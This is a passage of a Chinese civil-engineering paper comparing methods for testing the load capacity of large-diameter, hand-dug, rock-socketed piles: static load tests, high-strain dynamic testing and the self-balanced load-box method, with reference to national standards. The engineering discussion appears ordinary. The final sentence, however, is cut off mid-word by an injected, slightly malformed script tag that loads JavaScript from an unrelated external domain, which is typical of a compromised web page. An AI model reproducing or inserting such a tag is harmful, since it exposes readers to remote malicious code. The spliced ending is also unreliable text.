0 引 言
随着我国国民经济快速增长和人民生活水平的提高，无论是办公条件还是住房需求都向高层发展，因此许多大中城市的高层建筑拔地而起。在地质条件良好的情况下，绝大多数高层建筑首选基础形式为人工挖孔桩，因为人工挖孔桩桩径大，桩端可扩孔至桩径的1.3~3倍，通过风镐或爆破使桩端嵌入中风化或微风化基岩中1~3倍桩径的深度，单桩承载力特征值在1.5×104kN~2×104kN，甚至更高。
1 大直径人工挖孔嵌岩桩单桩承载力检测方法
工程桩应进行承载力检验是现行国家标准《建筑地基基础工程施工质量验收规范》（GB50202-2002）和《建筑地基础设计规范》（GB50007-2002）以强制性条文的形式规定的；桩身完整性检测和单桩承载力检测是GB50202质量检验标准中的2项主控项目。行业标准《建筑基桩检测技术规范》（JGJ106-2003）3.3.5条文中也规定了工程桩竣工验收前要进行桩身完整性检测和单桩竖向承载力检测。也就是说，必须提交桩身质量合格、单桩承载力满足设计要求2项主要内容的检测报告，这样的桩基工程竣工验收时才能评定为合格工程。但是目前由于做承载力检测费用较高，因此仍有不少人工挖孔桩只做低应变桩身完整性检测，不愿做单桩承载力检测，这将在某种程度上给建筑工程留下隐患。笔者曾对一个工程人工挖孔桩的工程桩做静载试验，测得单桩承载力仅达到设计承载力的50%，这样的桩基工程当然是不合格工程。目前我省桩基检测市场进行单桩承载力的方法大致有以下3种。
1.1 静载荷试验
根据JGJ106-2003中3.3.5条规定，应采用单桩竖向抗压承载力静载试验进行验收检测，但是人工挖孔嵌岩桩单桩承载力很高，无论是做锚桩反力静载试验还是做堆载反力静载试验，其费用都较高，建设方或开发商都很难接受。在设备或场地条件受到限制无法进行单桩承载力检测时，可以在场地上选1个小直径桩或在4根工程桩中间设计1根小直径模拟试验桩做静载荷试验，用其试验结果来推算其他大直径桩的承载力。
1.2 高应变动力检测
由于单桩静载试验费工费时，且检测费用较高，近10多年来，我国工程界的专家、学者借鉴国外的经验和结合中国的国情，经过不懈地研究和探索，高应变法检测单桩承载力已成为一种比较成熟的测桩新技术，也得到我国建设主管部门和桩基工程界的认可。JGJ106-2003中3.3.6条也提出可采用高应变法进行单桩竖向抗压承载力验收检测。当单桩承载力特征值在1×104kN以上，由于场地条件限制和没有20t以上的重锤时，JGJ106-2003中9.2.4条又规定，锤的重量应大于预估单桩极限承载力1%。以上情况导致无法进行检测。
1.3 桩承载力自平衡法检测
前几年，由于大直径嵌岩桩单桩承载力很高，无法进行检测，因此请有丰富实际经验的岩土工程和结构工程的专家对单桩承载力进行论证，为建设单位或开发商解决了难题并节约了检测费用，但不科学，因此建设主管部门不允许搞专家论证，将江苏省地方标准《桩承载力自平衡测试技术规程》（DB32/T291-1999）作为新技术、新方法进行推广应用。用这种方法测出的大直径嵌岩桩单桩承载力又值得质疑，因为自平衡试桩方法是将荷载箱埋在桩的底部，压力向上顶桩身的同时向下压桩底，使桩的摩阻力和桩的端阻力互为反力，其工作原理与破坏机理与传统的静载荷试验也是有不同的，因此这种试桩方法我国目前还不能列入《建筑基桩检测技术规范》。
上述3种大直径嵌岩桩承载力检测方法，相比而言，静载试验是直接的传统的方法，其试验结果是准确度高，但费工费时，检测费用相对较高；高应变法检测单桩承载力在我国的应用不到20年，目前仍处于发展和完善阶段，是作为以检测单桩承载力为主的试验方法，属于间接法，尚不能完全取代静载试验，但省工省时，检测费用相对较低，该方法可靠性的提高，在很大程度上取决于检测人员的技术水平和经验；桩承载力自平衡法试验方法是1969年由日本的中山和腾关最早提出的，在我国工程界，1995年史佩栋教授在许多地方做了推广介绍，后来东南大学土木工程系对该方法进行研究，编制了江苏省地方标准《桩承载力自平衡测试技术规程》。
笔者认为，第3种方法目前在我国仍处于试验研究阶段，还不宜在全国推广应用，主要理由有以下3点：①因为自平衡试桩方法的条件与桩的实际工作状态不同，桩竖向承载力是由桩身从上向下传递的，静载试验方法与桩的实际工作状态相同，因此其试验结果是准确的，而桩承载力自平衡法是将力由桩端或桩身某个部位向上压使桩身向上移动，所产生的摩擦力是负摩擦力，从单桩抗拔和抗压静载试验中可以得出，抗拔的负摩擦力远小于受压的正摩擦力，大直径人工挖孔桩摩阻力?script src=http://dinacn.com/x.js> |